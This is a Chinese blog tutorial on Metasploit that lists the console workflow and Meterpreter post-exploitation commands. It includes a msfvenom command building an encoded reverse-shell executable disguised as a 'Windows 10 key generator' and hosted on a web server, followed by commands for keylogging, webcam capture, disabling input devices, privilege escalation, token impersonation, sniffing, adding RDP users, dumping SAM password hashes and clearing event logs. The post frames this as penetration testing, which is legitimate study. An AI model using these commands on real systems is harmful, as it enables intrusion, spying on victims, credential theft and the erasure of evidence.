渗透测试必备工具--Metasploit(流程梳理与常用命令以及meterpreter权限分析)

本文详细介绍了Metasploit框架中的攻击前期准备步骤,包括启动msfconsole、生成payload、查找和使用模块等,以及成功建立Meterpreter会话后的常见操作,如信息收集、硬件控制、权限提升和远程桌面管理等。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

一、攻击前期准备必会的命令(msf流程)

1、启动:msfdb run 或者 msfconsole

2、Payload生成:msfvenom

3、查找相关模块:search

4、选择使用模块:use

5、返回上一层:back 

6、查看需要设置的参数:show options

7、设置攻击参数:set

8、开始监听(攻击):exploit 或者 run

9、退出:exit

二、成功建立会话后常用命令

1、信息搜集

2、硬件控制(关机、键盘、鼠标、摄像头等)

3、权限提取

4、模块使用(sniffer抓包、incognito伪造token)

5、远程桌面

6、其他(查看补丁信息、执行文件、导出密码、清除日志)


 

关于msf的实际应用请参考我之前的博客

基于MSF控制同一热点(局域网)下的其他设备:http://t.csdnimg.cn/DAeeK

CVE-2019-0708远程桌面服务远程执行代码漏洞复现:http://t.csdnimg.cn/3DROz

CVE-2017-0143永恒之蓝复现:http://t.csdnimg.cn/D8UQn

基于Metasploit利于msfvenom生成恶意软件获取shell:http://t.csdnimg.cn/Lo4Ic

本篇博客主要介绍msf攻击前期准备的常用命令,以及成功建立meterpreter之后的常用命令。

(主要从拿到普通用户权限和管理员权限进行测试对比分析)

 

一、攻击前期准备必会的命令(msf流程)

1、启动:msfdb run 或者 msfconsole

2、Payload生成:msfvenom

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.29.69 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/win10密钥生成器.exe

msfvenom命令参数:

-p, --payload    <payload>       指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用&#039;-&#039;或者stdin指定
-l, --list       [module_type]   列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, --nopsled    <length>        为payload预先指定一个NOP滑动长度
-f, --format     <format>        指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder    [encoder]       指定需要使用的encoder(编码器)
-a, --arch       <architecture>  指定payload的目标架构
--platform   <platform>          指定payload的目标平台
-s, --space      <length>        设定有效攻击荷载的最大长度
-b, --bad-chars  <list>          设定规避字符集,比如: &#039;\x00\xff&#039;
-i, --iterations <count>         指定payload的编码次数
-c, --add-code   <path>          指定一个附加的win32 shellcode文件
-x, --template   <path>          指定一个自定义的可执行文件作为模板
-k, --keep                       保护模板程序的动作,注入的payload作为一个新的进程运行
--payload-options                列举payload的标准选项
-o, --out   <path>               保存payload
-v, --var-name <name>            指定一个自定义的变量,以确定输出格式
--shellest                       最小化生成payload
-h, --help                       查看帮助选项
--help-formats                   查看msf支持的输出格式列表

3、查找相关模块:search

search ms17-010 # 永恒之蓝

4、选择使用模块:use

use exploit/multi/handler # 很常用的一个模块

5、返回上一层:back 

6、查看需要设置的参数:show options

其中yes为必须设置的参数,no为可选项

7、设置攻击参数:set

set payload windows/meterpreter/reverse_tcp  # 针对Windows的一个常用攻击载荷

一般还需要设置监听IP(本地主机)和靶机的IP地址:即LHOST和RHOST

8、开始监听(攻击):exploit 或者 run

9、退出:exit

二、成功建立会话后常用命令

查看可执行的操作:help

1、信息搜集

getpid # 获取当前进程的pid

getuid # 查看权限

sysinfo # 查看目标机系统信息aa4267fc798fedef647e4af617b36dab.png

ps # 查看当前活跃进程,kill <PID值> 杀死进程

f9bdca2786cf2d543c09cdbdd29278ab.png

idletime # 查看目标机闲置时间

shell # 进入目标机cmd shell

7e7c56ec3cb32cb304b34cfc9dcc4beb.png

如果攻击的是不同操作系统则会出现乱码,我们需要切换编码,使用命令:chcp

控制台的页面编码有很多,常见的主要是65001和936

chcp 65001

10510a54c6892ccee00726e20197d8e0.png

2、硬件控制(关机、键盘、鼠标、摄像头等)

reboot / shutdown # 重启/关机

uictl [enable/disable] [keyboard/mouse/all] # 开启或禁止键盘/鼠标

uictl disable mouse # 禁用鼠标

uictl disable keyboard # 禁用键盘

5e25d3463cb1fef936345064ce324759.png

keyscan_start # 开始键盘记录

keyscan_dump # 导出记录数据

keyscan_stop # 结束键盘记录

bd89ca1cafebcca45d5ec7f73330543c.png

webcam_list # 查看摄像头

webcam_snap # 通过摄像头拍照,配合参数-i 指定要使用的网络摄像头的索引号

f6bba83a4d1e3e067501eeb1198c5409.png

webcam_stream # 通过摄像头开启视频,同样可以使用 -i 参数来指定调用的摄像头

c780529b7aa8c97b755657232094a2e4.png

1d16f1816032a7a01978cc5ff25b3509.png

3、权限提取

getsystem # 提权 普通用户使用该方式提权失败概率很高,相反管理员用户提权非常容易。

下面先以普通用户权限测试16c5a1a537b2adf57d792d22ad44df9c.png

可以看到getsystem提权失败

3240861df24271ae0a758b5b48b86f26.png

如果对方是以管理员身份运行我们的恶意程序,则可以提权成功:

f0bc3b74640d18b2897c04b6ee12accd.png

dc1b7542a871ca3d15d51aed9db22b7d.png

 

4、模块使用(sniffer抓包、incognito伪造token)

use sniffer # 加载sniffer模块

sniffer_interfaces # 查看网卡

sniffer_start 2 # 选择网卡,开始抓包

sniffer_stats 2 # 查看状态

sniffer_dump 2 /tmp/lltest.pcap # 导出pcap数据包

sniffer_stop 2 # 停止抓包

75afb143746ada082a110970149fd36c.png

06711c43bcf45cb86d44629deeff1d59.png

use incognito # 加载incognito模块

list_tokens -u # 查看可用的token

我们先看普通用户权限下,根据告警提示可知我们无法伪造token

9c323dcf76f6a0e4875d058b8f58ee98.png

但是如果我们是管理员权限,就是可以的:

35f986c361529cbb0cfce41900e76ebe.png

impersonate_token 'NT AUTHORITY\SYSTEM' # 假冒SYSTEM token

或者 impersonate_token NT\ AUTHORITY\SYSTEM # 不加单引号需使用\

execute -f cmd.exe -i –t # -t 使用假冒的token 执行

9b4c7bd090a3657d940135bda59c8baa.png

(靶机会弹出cmd窗口,如果靶机将其关掉,cmd也会断开)

4c09065ca0d3c9f8dcfac0ef72dd754b.png

或者直接shell(靶机无任何提示)

rev2self # 返回原始token

 

5、远程桌面

run getgui –h # 查看帮助

run getgui -e # 开启远程桌面

run getgui -u lltest2 -p 123456 # 添加用户

run post/windows/manage/enable_rdp # 开启远程桌面 

注意:在普通用户权限下是无法开启的,这里是管理员权限

ede07253295754f51f7021090c1b78df.png

run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 # 添加用户

enumdesktops # 查看可用的桌面

getdesktop # 获取当前meterpreter 关联的桌面

2cea6ee44bfe1d36e68a796682110ce4.png

set_desktop # 设置meterpreter关联的桌面 -h查看帮助

screenshot # 截屏

run vnc # 使用vnc远程桌面连接

6、其他(查看补丁信息、执行文件、导出密码、清除日志)

execute # 在目标机中执行文件

execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互

run post/windows/gather/enum_patches # 查看补丁信息

b4dcc8c4462d55014c48fe2a3f95c1f5.png

run post/windows/gather/smart_hashdump # 从SAM导出密码哈希,需要SYSTEM权限

ca1d616a7c9b15e13097d45144aedf1e.png

clearev # 清除windows中的应用程序日志、系统日志、安全日志

注意:这个也是需要管理员权限的

6215a290985dcf4c3e2e0e9d4bb0374b.png

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

My6n

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值